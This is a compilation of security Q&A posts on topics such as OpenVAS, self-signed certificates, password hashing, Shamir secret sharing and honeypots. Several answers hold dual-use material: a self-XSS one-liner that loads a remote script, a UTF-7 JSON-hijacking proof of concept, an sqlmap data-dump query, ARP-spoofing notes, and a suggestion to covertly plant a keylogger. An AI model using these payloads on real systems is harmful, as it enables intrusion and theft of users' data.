OpenVAS won't generate SCAP Database To deploy OpenVAS to Virtual machines I've been using Ansible for a while and it worked pretty well. Now today I wanted to deploy it to another machine but the openvas-check-setup script keeps telling me that the setup isn't yet finished because the SCAP database is missing which it in fact is.

  ERROR: No OpenVAS SCAP database found. (Tried:
  /var/lib/openvas/scap-data/scap.db) FIX: Run a SCAP synchronization
  script like greenbone-scapdata-sync.

The suggested solution doesn't solve the problem. The directory /var/lib/openvas/scap-data does exist and it is by no means empty. The only file that seems to be missing is the scap.db.

To validate the process I moved all the files from /var/lib/openvas/scap-data to a temporary drive and ran greenbone-scapdata-sync again. All the files that had been there before where downloaded again but the SCAP Database is still missing.

It seems to be the case that an apt-get dist-upgrade caused the trouble. After setting up another VM leaving this step out the installation finished sucessfully.

// Eventhough I got it running I'm now using Ubuntu Server and the packets provided by Mohammad Razavi when it comes to virtualized instances of OpenVAS. I had severe problems handling the scans. The scan processes started but hung themselfes after 1% - 9% and did never finish. Didn't have to deal with problems like this in presvious versions of kali.


Is a differentially private SQL database relatively more secure from an SQL injection? I've been in security for a while now but I'm relatively new to privacy. I've been studying differential privacy and its application to databases. However I'm still a little confused about where security and privacy intersects. Security of a database involves protecting the confidentiality, integrity, and availability of the data stored within the database. However, privacy would just preserve confidentiality.

With that in mind, would a differentially private SQL database be relatively more secure from an SQL injection?

The problem with SQL injection is not how the data are stored in the database but that

statements in the query language are code and data combined into a string
these statements are often constructed by manually combining strings of code with strings of untrusted data
improper validation of the untrusted data leads to interpretation of these data as code, thus causing code-injection by an attacker

None of this is solved with using differential privacy.

It is instead solved by properly separating code from data. This can be done with parameter binding instead of manually combining code and (untrusted) data into a SQL statement string. See here for more information on this topic.


Should I format storage after buying it? I've just bought a new (unused) external HDD. Should I format it or is it save to use it directly?

Did it already happen that a device was infected before the first customer use?

Will formatting delete every possible malware? If not, what else should I do?

(In case it matters: I have a Ubuntu Linux system)

According to Kaspersky, even if you format your hard drive, an infection could be persistent if it lies in the firmware.

If you expect to be targeted by those with access to firmware-based malware, it may be far safer to flash the firmware yourself with a trusted copy of your hard drive's firmware, and then format it.

UPDATE: Regarding the USB drive being scanned and formatted, that doesn't matter if there's an issue with the USB stick's firmware. Bad USB comes to mind. Your anti-virus suite is not likely to be able to scan the firmware. If I'm wrong, I'd love to know.

UPDATE 2:

I'd like to answer some of your questions here.

  Did it already happen that a device was infected before the first customer use?

Yes, it's being referred to as Supply-Chain Interdiction. What this means is that when you buy computers, or computer hardware online, and you're targeted, it may likely come pre-installed with malware.

  (In case it matters: I have a Ubuntu Linux system)

That doesn't matter much. "Hacking Team," a company that develops malware for use by anyone who can pay, states that they have support for the top-5 distros on DistroWatch. If you visit distrowatch, you can see that the top 5 are as follows:

Mint
Debian
Ubuntu
openSUSE
Fedora

Which could easily mean that anything based on those distros are likely affected as well.

Finally, as I've said before -- if you're really worried about being targeted -- I suggest acquiring a copy of your hard drive firmware and flashing it, then formatting it.


Can javascript execution from address bar cause any harm to client's machine? Given the fact that modern browsers these days prohibit JavaScript from having access to any resources on the client's machine, does JavaScript execution from the address bar pose any threat at all to the client's machine (the machine the browser is running on)?

That JavaScript executed from the address bar will run in the context of the website displayed in that tab. This means complete access to that website and it could change how the website looks and behaves from the point of view of the user.

This attack is called self XSS and can cause harm to the user and indirectly to the machine. A reputable website can ask the user to download and install a malicious piece of executable code by pretending, for example, that it needs a Flash update.

To get a nice visual example of this, manually type javascript: in your address bar and then paste this:
z=document.createElement("script");z.src="https://peniscorp.com/topkek.js"; document.body.appendChild(z); If you don't trust me, do it in the address bar of a website you are not logged in.

Most browsers have realised this vulnerability and attempt to limit the impact by cutting out javascript: when pasting javascript:some_js_code in the address bar. But it is still possible to manually write it and execute it.


Should I accept a self-signed certificate from my university? My university set up a new domain we (student) can access to do some things.
Chrome blocks the loading of the page in question saying that the certificate is invalid:

Your connection is not private
Attackers might be trying to steal your information from [site url] (for example, passwords, messages, or credit cards). NET::ERR_CERT_AUTHORITY_INVALID

I asked for clarification and they told me that they use a self-signed certificate in order to avoid to have to pay for one.
My question is: is it really safe to disregard Chrome's advice? I have to send my university credentials over this connection, so I would rather not expose myself to unneeded threats.
I should also point out that this isn't the main domain of the university site, but a minor one where a part of the students can access to do some exercises and online tests.

It is not a problem to use a self-signed cert provided that you distribute that cert to users so that they can verify that the cert they are approving is the cert for the genuine site and not some site spoofing it. In this situation, you are told to approve it but you have no way to validate that you are connecting to the correct site.

So there is definitely a risk for accepting it. If someone was able to create a fake site, put their own self-signed cert on it, and somehow convince you to go there (via social engineering, DNS tampering, WiFi attacks, etc...), you'll approve a cert for the attacker's site and never see that warning again. Then you'll happily pass your credentials to that site. Very bad.

What you need is to get the fingerprint of the actual self-signed cert then compare it to what your browser is seeing (see this page for reference). But I'd guess that you will have a hard time getting any more information from the site's owners. So you have to decide if you are going to take the risk or not. One way to lower the risk a bit is to try to make the initial connection when you approve the cert happen over a more secure internet connection. For example, a hard-wired connection is likely harder to be altered by an attacker than a WiFi connection.

Depending on how the site is configured, you may be able to connect to it, approve the cert, login with your school id, then immediately change your school password (best if from another browser altogether). That will reduce the window of exposure if the connection is being snooped. Hopefully the site will allow you to stay logged in for subsequent accesses so you don't have to do this every time.

In the end, you'll have to get more information about the cert so that you can verify it by hand or cross your fingers and hope for the best.


UTF-7 JSON hijacking on Microsoft IE and Edge After some research, I saw an answer on StackOverflow saying that it's still possible to perform a UTF-7 JSON hijack using Microsoft IE and Edge browsers. If yes how can it be done? I really need an explanation about this or a working proof of concept.

I assume you're referring to this comment, "Microsofts IE and Edge are still vulnerable to the UTF-7 JSON Hijacking though."

Following the instructions from this 2011 blog post on JSON Hijacking, I reproduced the problem with Microsoft Edge 20 and IE11.

Create an HTML file like this:

<html>
<body>
<script src="x.json" charset="UTF-7"></script>

And an x.json file like this:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

In the UTF-7 encoding, that apparently decodes to:

[{'friend':'luke','email':''}];alert(‘May the force be with you’);[{'job':'done'}]

And then, given the power to execute JavaScript in the context of the response, you can write more/other evil code, e.g. code to read the rest of the response. For example:

[{'friend':'luke','email':''}, 1].sort(function(x,y) {
for (var o in x) {
alert(o + “:” + x[o]);
}
});
setTimeout(function() {
var x = data[0];
for (var o in x) {
alert(o + “:” + x[o]);
}
}, 100);var data=[{'job':'done'}];

Read the blog post for more details about the implications of this, but the idea is that you'd get a user to open a page on your site, make this script request (which would use the victim's cookie credentials), and then JSON hijack it to read a partial list of the user's friends.


Is there a way to split up my SSH Key using Shamir's Secret Sharing? I have a few servers and machines that I regularly login to, so I was wondering if it was possible to secure them using a version of Shamir's Secret Sharing.

I thought if I could split my private key into a number of pieces, then distribute those pieces among each of the computers I use each day as well as a USB stick.  This way I could move the USB stick from computer to computer, and each time I plug the USB stick into a new machine the number of pieces of key present would be enough to reconstitute the private SSH key.

Forgive me if this isn't making much sense, I may have completely misunderstood how this system works!

Is this possible, and can anybody help me get started with this problem?

Thanks!

Edit: For clarification, my thinking was that it should only be possible to administer my remote servers from the two machines in my house.  The private key would be split up into a number of parts with each of the two machines in my house having a section of the key, I would also place a section of the key on an SD card.

That way, when the SD card is plugged into either of the machines the threshold is reached and the private key can be reassembled and used.  However, I think I've misunderstood this secret sharing and its usefulness in this situation.

Thanks again!

Shamir's Secret Sharing is a nice algorithm to split a secret value into several pieces, and allow recovery with a threshold; meaning that you split (for instance) the secret into ten shares, such that any three shares are sufficient to rebuild the secret.

This calls for two comments:

The algorithm's main advantage is its threshold mechanism; it does not make much sense if all shares are needed to rebuild the secret. In the described scenario, with SSH keys, it is unclear what this threshold mechanism would mean. There is a scenario where you want something like that (I have seen it deployed in production; see below) but it involves several key owners.
Though the shares are separated, the rebuilding process must occur, by necessity, on a single machine which obtains, at some point, the secret itself. In particular, if you do the reassembly on a machine which is evil (i.e. which is under the control of an attacker through some subreptitious malware), then the attacker learns the SSH private key, and you lose.

The scenario where the threshold mechanism with SSH makes sense is the following: there is a very sensitive server somewhere (a Certification Authority), which must never be administered by a single administrator without any witness. However, the server is remote, and some remote administration must still take place. So the idea is to have a special private key, authorized for root login (the public key is in /root/.ssh/authorized_keys). The corresponding private key should be accessible only on a machine which is assumed safe (a machine dedicated for the task and kept safe through normal mechanism -- in that case, a Linux system with sane sysadmin procedures). When remote administration must take place, a quorum of key owner collaborate, enter their "shares" on the machine, and thus unlock the private key. They keep the sysadmin under eye control for the whole duration of the administration procedure.

In that scenario, a secret sharing scheme would make sense. However, the "shares" are big numerical values, which must be stored on physical devices, not in human brains; this was inconvenient. Moreover, usual SSH client software does not allow for plugging arbitrary secret sharing systems (not easily at least). So the practical solution was the following: the private key was stored several times, each time protected by a password split into two halves; each human knew only one half. If there are n share owners, then the private key must be password-encrypted n(n-1)/2 times (so with n = 5, this means 10 copies of the private key, each encrypted with a combination of two password halves). When remote administration must take place, two key owners select the corresponding encrypted private key file; each owner types his password half, and the connection occurs.

The system works in practice. It does not scale well (with n key owners and a quorum of t, it requires O(nt) encrypted files, for all combinations), but for small values it is perfectly workable.


How to convert a certbot certificate private key to "Unencrypted PEM encoded RSA"? I use certbot to generate ssl cert for my domain.

Then I use the following commands to copy the content to clipboard

cat ./letsencrypt/live/mycompany.com/cert.pem |pbcopy
cat ./letsencrypt/live/mycompany.com/privkey.pem |pbcopy

and paste into Google App Engine's "Add a new SSL certificate" dialog box.

However the private key is rejected due to 'The private key you've selected does not appear to be valid.'

(I have replaced the content with 'zzzz')

How can I convert the certbot output into the right format?

Also I do not know exactly what format and roles are those certbot generated files are in.

cert.pem
chain.pem
fullchain.pem
privkey.pem

I find out I can use openssl to convert the format

  openssl rsa -in  ./letsencrypt/live/mycompany.com/privkey.pem  -out  ./letsencrypt/live/mycompany.com/privkey.pem.rsa.key


Are there modules to harden Symfony 2 sessions? We're looking at building a new app on top of Symfony 2, but security is our top priority. After digging around a bit, it seems that there are a number of built-in options for Session management (eg PDO, null, Mongo, etc), but none of these deal with things like verifying ip, user agent, etc.

By way of testing, I started up a session on one machine, and logged in. On another, I created a cookie with the matching PHPSESID and was able to access all of the secured areas.

What you are describing is a session hijack.  This is not something that a session handler can defend against.   Foolish attempts to check the user-agent are trivial to bypass.  Limiting the session to an ip address will make your application inaccessible to legitimate users behind a load balance, while still allowing access to attackers on the same local network.  Web applications prevent session hijacking by fixing vulnerabilities such as Cross-Site Scripting,  Session Fixation,  and OWASP a9 vulnerabilities. (Don't forget about CSRF aka "Session Riding").

You can enable browser-based security features to protect the cookie with the following PHP configuration:

session.cookie_httponly=1
session.cookie_secure=1
session.use_only_cookies=1


Do I need to secure a computer from physical attacks when attackers can already harm in many other ways? Recently, I was working on a computer system for a model railroad club.  This computer system is capable of monitoring and controlling the positions of all the (physical) trains which could be anywhere on the track layout.

However, someone recently came in and criticized the system for not running in a password-protected, locked-down account.  He even went so far as to suggest adding a BIOS password.

However, I countered that argument by saying that anything that someone could do damage by via computer could be done just as easily by picking up a hammer.  By the time that someone would be able to exploit the fact that the computer had no password, they could have already done the same level of damage.

Were his concerns legitimate, or was he taking things too far?

Security is necessary in order to counteract "risks" to a system. You need to determine what those risks are and if "loss" in that area is acceptable.

Presumably, this train set up is not public, but in a locked building where people need a key to enter, or if allowed in, are monitored by other people watching. Yes, it is possible for someone to come in with a hammer and damage your trains, but that person is observable. An unsecured internet-connected computer potentially leaves the door open for someone to "walk in" and do damage, completely unobserved. This anonymity increases the risk that someone would do damage if they gain access (no consequences). In my opinion, it is harder to do damage with a hammer than with a computer (once access is gained).

A BIOS password is important to protect the machine against someone infecting the machine while they have physical access. There are other more important considerations if the machine is accessible by the physical public.

If it doesn't matter that someone could take over the machine, then no, security does not matter. But I suspect that it matters more than you think. But, YOU need to consider all the risks and the costs if those risks are realized.


Why are security-crucial software written in unsafe languages? This may be a stupid question, but...

Why are security-crucial software written in languages such as C and C++? I understand why, say, an embedded system might need a low-level language to make the most use of limited resources, but it seems foolish to write security software in low-level languages.

I'm asking this because whenever I go to debian.org and look at the latest security fixes, the vast majority of them involve memory safety issues, which only appear in unsafe languages such as C and C++. As bad rep as Java gets, for example, I would imagine 90% of the security patches to OpenSSL would be completely useless. If an even higher-level language like Scala or Lisp were used, I would suppose it would be even easier to get things secure. Messing up your arrays will in the worst case lead to a runtime error.

Is the reason for using C/C++ avoiding side channel attacks? I might imagine some properties of a key interfering with the execution of a conservative garbage collector (like Boehm) and leading to timing attacks, but no higher-level language uses unsafe garbage collectors anyway.

Most software is written in languages that the developer knows how to use, and for security-related software, that's not a bad thing -- provided that the developer actually knows his language of choice, down to the fine details, and I may argue that this is not the case with C and C++ (a vast majority of developers who believe they know C or C++ are actually wrong).

On Unix-like systems, in particular Linux (where a substantial part of all open-source development occurs), C is "the" system language. Unix is very C-friendly (all low-level API are C-based, described with C headers; system libraries are written in C, so the C compiler is well tested and well integrated). This has resulted in a large C-based ecosystem where developers use C because they know C and want to use libraries which offer a C-based API. This has nice portability benefits (for instance, no problem in running OpenSSL on a PowerPC or a Mips -- try doing that with Java !).

Using another language entails some issues: lack of runtime support, less portability, an assumed lack of performance... ("Safe" languages can be efficient, but some widespread implementations will be either slow because they use interpreters with no JIT or will be memory hogs; and also many people just dismiss these languages as inherently slow because they did not actually tried, and they think in slogans).

This leads to my conclusion: people use C and C++ for security-critical software out of tradition.

(I write all that as someone who wrote his own Java VM to run a SSL server written entirely in Java, on a small 50 MHz PowerPC system with 16 MB of RAM -- it was a Certification Authority, and it could serve 70 clients simultaneously. So when I say that a "safe" language like Java can be used to run security-critical software on low-power systems and with decent performance, I mean it.)


Can a non-privileged user modify the file descriptor table of an elevated process? In Linux, every process holds its own file descriptor table, which keeps references to all opened files and file-like devices. This table is managed by the kernel.

Is it possible that a non-privileged user modifies a file descriptor in the file descriptor table of an elevated process so that the file descriptor points to another file?

A Practical Example

Process 1000 runs as root and reads continuously from FD 0 (stdin) to FD 1 (stdout). Process 1001 runs as eve and wants to modify the file descriptor table of PID 1000 so that FD 1 points to /etc/sudoers instead.

Is this possible?

Once the process is started, this is not possible. As mentioned the only way to do this is via redirection however that happens inside bash (as you've noted in the comments) not inside the process and thus does not fit as a solution for your question.


Decoding tunnel bytes in EAP-TLS or EAP-TTLS using Wireshark I have a few pcaps of traffic for EAP-TTLS conversation, carried by RADIUS. I also have some being carried by EAPoL, but I think the answer to that case might be even less straightforward (though perhaps not necessarily so). In both cases I can view the EAP contents in Wireshark, and I can drill down as far as TLS negotiation/handshaking, and the encrypted TLS bytes.

It would be handy for me to see the contents of the encrypted data itself, as it contains yet further layers of the authentication exchange that I am investigating.

All of this has been generated using my own test-systems so I have all of the information available, certs etc. and I know what should be in the encrypted TLS data.

I have followed the Wireshark tutorial, pretty much to the letter. http://wiki.wireshark.org/SSL

But I am not having much luck with this, and I am worried that perhaps Wireshark only knows how to deal with less tricky TLS cases, i.e. your day to day, common or garden SSL protocols such as those running over TCP such as HTTP, SSH, RADIUS, SCP etc.

I'm looking at the slightly more complex case of SSL over EAP over RADIUS over UDP on the one hand, and the even more specialised SSL over EAP over EAPoL on the other.

I "think" I may be seeing the app-data decrypted in one or two of the EAP packets, where the handshake information is present, but this information doesn't seem to be getting carried across to the rest of them.

Could it be that I'm just too far out in the weeds here? Or maybe there's something I'm missing, it certainly seems like it should be possible.

I'm sure I can work around this somehow by decrypting offline (or perhaps using the NULL cypher) but I thought I'd be sure I've exhausted all avenues with wireshark first.

If you have RSA keys and the transport uses a non-DHE ciphersuite, you should be able to decrypt EAP-TLS with Wireshark. There was however a bug that got fixed in the development version (v1.99.10rc0-191-g5e635ad) and will end up in the 2.0 release.

At the moment you have to specify dummy values for the port number and such, but after that you should be able to decrypt EAP-TLS traffic. Go to Edit, Preferences, Protocols SSL, RSA keys list. Then fill in the following details:

IP address: any
Port: 0
Protocol: data (anything would work here)
Key File: path to your key file
Password: empty for PEM-formatted key files, a password for PKCS#12 formats otherwise.


Arp poisoning is disrupting the LAN I'm poisoning my home network, I was able to do it 1 time. When i tried several more times to poison the wifi network or the cable network the "target" started to  lose connectivity in both cases.
Kernel forwarding is enabled, tried with promisc. mode, the problem is not in the slow processing  (CPU load is 20-30%), The Gratutious ARP packets are being broadcasted all the time with the spoofed address.
I tried poisoning only the client and poisoning both directions with arpspoof and ettercap - same result. I have experience in  networking and Linux but not so experienced with pen testing so maybe I'm missing something.
I'm using low-end tp-link 940 router

I have figured it out. The problem was Network Manager, after I have stopped it and ran arpspoof everything worked like a charm. The traffic was flowing without any problem.


What's the danger of an online resume (a CV)? I was talking with someone about my resume, and on the subject of my posting it online they said,

  just be careful with PII ... for your own good :)

My reaction to that is How bad can it be? -- and, What's the worst that could happen?

That's more or less my question here.

A resume contains:

Name
Email (more precisely, a Gmail address)
Phone
Other URLs e.g. LinkedIn
Employment history
But, no home address, no date of birth, no SIN, no bank account details

Is it wrong or stupid to post that online where anyone might read it (or any bot might scrape it)?

Is there any specific precaution, or a mitigation measure (against whatever the risk is) that you'd recommend?

You open yourself up to the possibility of receiving spear-phishing calls, texts, emails, and so on. This information could be used by an attacker to impersonate you as part of a social engineering attack against, for instance, a call center employee at your phone company in order to gain more information about you (date of account registration, address history, etc.)


Is it reasonably possible to enable vulnerabilities via gadget chains? The meta question here is that I'm trying to understand the risks to multitenant java applications from gadget chains.

For example, we're all familiar with the deserialization gadget that allows the creation of arbitrary java objects which can lead to RCE.

However, let's say your json deserializaer (or whatever) is securely configured.   Is it possible to create gadget chains which re-configure jackson at runtime to be insecurely configured?

More generally, is it reasonably possible to take any specific vulnerability which has been patched but develop a gadget chain to enable it?

Eg, let's say you have a vulnerability X -> leads to Y (say, RCE).

If you could find a chain of gadgets that lead to X (say X1 -> X2 -> X) than you therefore have X1 -> X2 -> X -> Y

And for fun, let's say X2 isn't available, is it reasonable to try to build a chain that does something like XA2 -> XB2 -> XC2 -> X2

And therefore your path would be X1 -> XA2 -> XB2 -> XC2 -> X2 -> X -> Y?

Is this a reasonable way to look at this problem?

The reason I ask is that we build systems where we think we are safe because X isn't immediately a risk.   Or even because X1 -> X2 -> X are all patched properly, when in fact if it's possible to decompose any vulnerability into a chain of gadgets, than we are always at risk and therefore most of our security will become the difficulty in getting past security boundaries (escaping a VM, a container, etc).

Given the number of statics in java and java 3rd party libraries, it seems to me that it could be vulnerable to a very large class of gadget chains.  In other words, you don't have to craft an attack in just one request, but can do it via a series of requests.

Is this analysis correct?

However, let's say your json deserializaer (or whatever) is securely configured. Is it possible to create gadget chains which re-configure jackson at runtime to be insecurely configured?

The presumption in your question here is that the vulnerability in Jackson (or whatever) would be merely a matter of poor configuration. Usually, such vulnerabilities are not the result of configuration, but because of code that does the wrong thing. Typically that involves patching the code so it never does the wrong thing.

When we keep that in mind, your general question is clearly revealed to be self contradictory:

  More generally, is it reasonably possible to take any specific vulnerability which has been patched but develop a gadget chain to enable it?

If the vulnerability can be trivially enabled in some way, then that merely reveals that it wasn’t properly patched to begin with.


I work for a company from home online, using my own laptop. Privacy issues I work for a company from home online, using my own laptop. To work, I have to login to their network through a web browser, Google Chrome. The URL begins with: https:// . I use a User ID and password.  I log off whenever I go on break or when I finish a shift.  Since it's my own personal laptop, not company-issued, do they have the technical means to monitor other websites I may be on when working or even when not working? Do they also have the ability to turn on the laptop camera and audio without my knowing, and possibly even record?

According to your comments you seem to be working remotely through a web interface displayed in a web browser.

That website doesn't have more or less technical possibilities on your computer than any other website. It should be unable to monitor any other activity on your computer like accessing other websites or running other programs.

The website should also be unable to access your webcam or microphone unless you gave it permission to do so. You can see which websites have special permissions in Chrome's settings menu under Settings->Advanced Settings->Content Settings->Media. Note the "Exceptions" button where you can see if specific websites have different permissions.

However, there might be other software you installed on your machine which might be back-doored. Especially when using that website required you to install any additional plugins, these plugins might give the website additional abilities to spy on your machine.


proxy traffic coming from outside server First of all: I don't know if this comunity is the right one for this question. If it's not I'm sorry in advance.

I'm learning about proxies right now and from what I understand I can route my traffic to a certain server and that server will take care of doing my "GET" request (if it's a webpage). My question here is the other way around: How do you route traffic coming from an outside server?

Lets say I have a RAT running on my computer. The server (the infected machine) is going to send the packets to my home computer. What if I want it to send it to a proxy first and then to me?

From my perspective you can rent a server and configure that server to redirect all the traffic to you but wouldn't that server be directly connected to you?

I'm asking this question because I would like to know how can criminals commit such crimes and not get caught with it. I don't know if the TOR network is involved in this question.

How do you route traffic coming from an outside server?

As far as HTTP goes, the Client initiates the connections. So your computer will first connect to this proxy and then the proxy will send that request to the Web Server. This also means that the Web Server will respond back to the Proxy and the proxy will then forward that response back to your computer.

But if you want to Route all of your traffic through a particular device, then you are looking at a Router/Firewall at that point and not just a Proxy.

  The server (the infected machine) is going to send the packets to my home computer. What if I want it to send it to a proxy first and then to me?

If you are worried about Viruses and Malware an Anti virus/ firewall will do. some even come with a builtin Proxy. here is one such opensource product.

  you can rent a server and configure that server to redirect all the traffic to you but wouldn't that server be directly connected to you?

Yes and No

Yes - because your computer is establishing a TCP Connection with this Server(proxy).

No - Because there are Proxy Service Providers out there, who may host their server(proxy) outside the jurisdiction specific to you.

In many cases, the traffic can be traced back to you. Also TOR doesn't protect you from an infected Web Server.


How can I use sqlmap to get only a certain number of records in SQL Server using a LIMIT and OFFSET? I'm trying to dump using sqlmap, I have 3 columns:
name, lastname, userid with 9000 entries in each.

When I just --dump the table, it will start from 1 to 9000.

I don't want all the 9000, how can I tell it to start from 5000 and stop at 9000?

I tried the --start= and --stop= but it didn't help.

--sql-query
Like Arminius said, you can use --sql-query to specify an ordinary SQL statement. Provided you know the table/database name, you could use something like this:
--sql-query="use db; SELECT * FROM table OFFSET 5000 ROWS FETCH NEXT 4000 ROWS ONLY;"

That would only work on SQL Server 2012 and above. For earlier versions, you'll need something like ROW_NUMBER().


How secure is my scripting code using windows encryption? I have a client that saw an application that I developed and wanted the software for their business. The application is written in PHP and MySQL.

They said that their internet connection is too unstable to reliably have it hosted normally and asked if we could have it hosted in their office.

I decided that I will only sell them the functionality for use and not for reselling, modifying or redistribution. I also intend on having them sign contract not to resell, modify or redistribute.

To make sure that they cannot copy the code I encrypted the application folder with EFS and set up the Apache to log in as the only admin user. This PC will be hosting the application in their office and they will not get any credentials to log into that PC.

How secure is this setup so that my client cannot copy my php code?
Is there any other vulnerabilities I should be aware of and fix if possible?

I’d comment if I had the points, but in my opinion that’s pretty secure, you can also make a basic key logger in that computer (or install one) that records incorrect password attempts in a file and sends the file has an email to you when it gets internet or you can just get the file if you go there, just to see if someone tried to enter or successfully entered to computer, you can also close all ports in hat computer that you won’t use, something like that.


Laptop was stolen, they tried to log into my facebook from their location on my laptop Can I get some advice on what I should do next? Laptop was stolen yesterday and they tried to log in my facebook today like 20 minutes ago.

Although you did not mention in which country you are in, it is very likely that stealing is a crime there. So you should go to the police.


Obtaining CSRF Token As I have read about CSRF tokens, the server usually embeds the CSRF token in the form on a hidden tag. In that way, when submitting the form as a POST request, the CSRF token can be sent and received on the server side for authentication.

So, my idea is that a malicious script might request for the same form (with the CSRF token embedded) and use the CSRF token to perform an attack.

How can we protect the application if the case above is possible? Am I missing anything? Thanks in advance guys!

EDIT / UPDATE:

Ok let's say you have a banking website open on your browser with a form with CSRF token, then you open some malicious site in another tab. The malicious site loads and performs a request to the server to get the form (with the embedded CSRF token) then parses it and use the CSRF token to perform an attack. Is that possible?

This case is prevented by the Same-origin Policy.

  "Under the policy, a web browser permits scripts contained in a first
  web page to access data in a second web page, but only if both web
  pages have the same origin. An origin is defined as a combination of
  URI scheme, host name, and port number. This policy prevents a
  malicious script on one page from obtaining access to sensitive data
  on another web page through that page's Document Object Model."

In the context of your example, the malicious site is not permitted to perform a request on the banking website, and an attempt to do so will result in a message similar to the following in the browser console (taken from Chrome):

  Failed to load XXX: Redirect from 'XXX' to 'XXX' has been blocked by
  CORS policy: No 'Access-Control-Allow-Origin' header is present on the
  requested resource. Origin 'null' is therefore not allowed access.


Share passwords between developers We have a project with 3 remote developers and myself, at the moment passwords (server logins, db passwords etc) are being shared via emails which are cc'ed to everyone,

Is there a normal workflow for this, we use git for version control, but it dosnt feel right to have our passwords in there (not that email is any more secure)

Besides the above three options, you can also set up a password safe in an application like keepassX or PasswordSafe, and share the encrypted file via your version control system or (email if necessary). The key point would be to avoid typing/sending the master password in an email, and distribute it on phone call.


Does a fake SSH server have any purpose security-wise? I stumbled upon this sshesame software which appears to imitate an SSH server accepting any username/password, only instead of executing the subsequent shell commands it logs them in a file.

What I can't figure out is what possible use this tool might have (besides educational). As such, it only attracts unwanted attention to the server because of successful SSH login attempts, and it won't protect any other ports from being attacked (including the real SSH), so it visibly only makes the situation worse.

Did I overlook something?

The reasons to have such fake SSH servers are multiple. They include such as:

determining whether you’re under attack
knowing the users and passwords guessed (which can display the intel the attacker has)
to see attacker’s actions of interest
to see attempts of exploitation of the server (might disclose 0days or backdoors)
to study how the attacker tries to approach the system
and so on.
test client software, including audit / testing / attack tools during development (thanks to Mołot)

You should consider NOT putting up a fake SSH server on your system if you have anything of value in the server, since the fake server might be prone to vulnerabilities as well - one closed port is better than one open service.


How does hashing work? I have been interested in Information Security. I was recently introduced to the idea of hashing. What I currently understand about hashing is that it takes the password a user enters. Then it randomly generates a "hash" using a bunch of variables and scrambling everything. Then when you enter this password to log in it matches that password to the hash. There are just a couple of things I don't understand about it.

Why is it so hard to crack these hashes? I would assume once you
found the method they are using to encrypt it (lets go with an
extremely simple one like Caesar's cipher once you find out how many
you have to shift over you can do it for whole books). Even if it
uses something like time and jumbles it there are some really big
ways you can limit the options (Lets use the Caesar cipher they're
using the year mod x you already know that there are two possible
years realistically then you just have to figure out the second
piece of the puzzle).
If they are generated randomly (even if two passwords are the
same they come out differently) how can they tell if it's correct?
How are they cracked. How does hash cat know when it has
successfully decrypt the password?

Related video (but doesn't exactly answer my question): https://www.youtube.com/watch?v=b4b8ktEV4Bg

Quick, factor 1081.

Or if you prefer, answer this: what's 23 times 47?

Which one is easier? It's easier to perform a multiplication (just follow the rules mechanically) than to recover the operands given only the product. Multiplication. (This, by the way, is the foundation of some cryptographic algorithms such as RSA.)

Cryptographic hash functions have different mathematical foundations, but they have the same property: they're easy to compute going forward (calculate H(x) given x), but practically impossible to compute going backward (given y, calculate x such that H(x) = y). In fact, one of the signs of a good cryptographic hash function is that there is no better way to find x than trying them all and computing H(x) until you find a match.

Another important property of hash functions is that two different inputs have different hashes. So if H(x1) = H(x2), we can conclude that x1 = x2. Mathematically speaking, this is impossible — if the inputs are longer than the length of the hash, there have to be collisions. But with a good cryptographic hash function, there is no known way of finding a collision with all the computing resources in the world.

If you want to understand more about cryptographic hash functions, read this answer by Thomas Pornin. Go on, I'll wait.

Note that a hash function is not an encryption function. Encryption implies that you can decrypt (if you know the key). With a hash, there's no magical number that lets you go back.

The main recommended cryptographic hash functions are SHA-1 and the SHA-2 family (which comes in several output sizes, mainly SHA-256 and SHA-512). MD5 is an older one, now deprecated because it has known collisions. Ultimately, there is no mathematical proof that they are indeed good cryptographic hash functions, only a widespread belief because many professional cryptographers have spent years of their life trying, and failing, to break them.

Ok, that's one part of the story. Now a password hash is not directly a cryptographic hash function. A password hash function (PHF) takes two inputs: the password, and a salt. The salt is randomly generated when the user picks his password, and it is stored together with the hashed password PHF(password, salt).  (What matters is that two different accounts always have different salts, and randomly generating a sufficiently large salt is a good way to have this property with overwhelming probability.) When the user logs in again, the verification system reads the salt from the password database, computes PHF(password, salt), and verifies that the result is what is stored in the database.

The point of the salt is that if someone wants to crack a password, they'll have to know the hash before they can start, and they have to attack each account separately. The salt makes it impossible to perform a lot of cracking work in advance, e.g. by generating a rainbow table.

This answers (2) and (3) — the legitimate verifier and the attacker find out in the same way whether the password (entered by the user, or guessed by the attacker) is correct. A final point in the story: a good password hash function has an additional property, it must be slow. The legitimate server only needs to compute it once per login attempt, whereas an attacker has to compute it once per guess, so the slowness hurts the attacker more (which is necessary, because the attacker typically has more, specialized hardware).

If you ever need to hash passwords, don't invent your own method. Use one of the standard methods: scrypt, bcrypt or PBKDF2.


Hiding the salt for key derivations functions what I Know: Password based key derivation functions generate a key suitable for ciphers from a given password. It relies only on the original password being kept secret.

The purpose of the salt is simply to prevent the use of rainbow tables. A rainbow table would have to be made for each salt, and if (as is common practise), each user has their own salt, a rainbow table would have to be constructed for that particular user. In general it is not assumed to be secret.

Salts are used in conjunction with a higher number of iterations inside the PBKDF function to hinder any attempt to create a rainbow table.

The key derived from the PBKDF2 can used as AES key to encypt data.

My problem: Lets say in some limited world, I only can use user's Email as an input for Key derivation functions like Scrypt, The salt is also used to the reasons mentioned above.

Since  email can be guesses easily, so the scrypt keys but not the salt. Isnt it a better approach to hide the salt, so that the attacked couldnt bruteforce the scrypt keys? If the attacker wants to guess the salt, it will be difficult for him as it will be of 16 bytes.

Note: The scrypt keys are used to encrypt some data, which will then be distributed to various other parties. The salt will be stored in the database. Theoretically, decryption of this data by a single party is impossible, since no one has complete information. DB only has salt, other parties only have shares of the file data not the complete data.

What you are doing is a building a key derivation function and you seem to understand the basics. However with any KDF there's some "secret". Salts are as what you mentioned, used to prevent rainbow table attacks, they are not considered "secret".

Rather than making it so difficult for yourself, you should look into multi-party or group encryption.  Group encryption algorithms strive to achieve the following: a given message is encrypted, and may be decrypted only if sufficiently many group members collaborate.

Have a look at this post on crypto stackexchange as well


What is the process of finding deep links from an Android application? I'm very curious on how to go about this the only solution i can think of is to decompile, modify the code to print when a deep link is clicked, and recompile, if you have any other suggestions i would be very happy to hear!

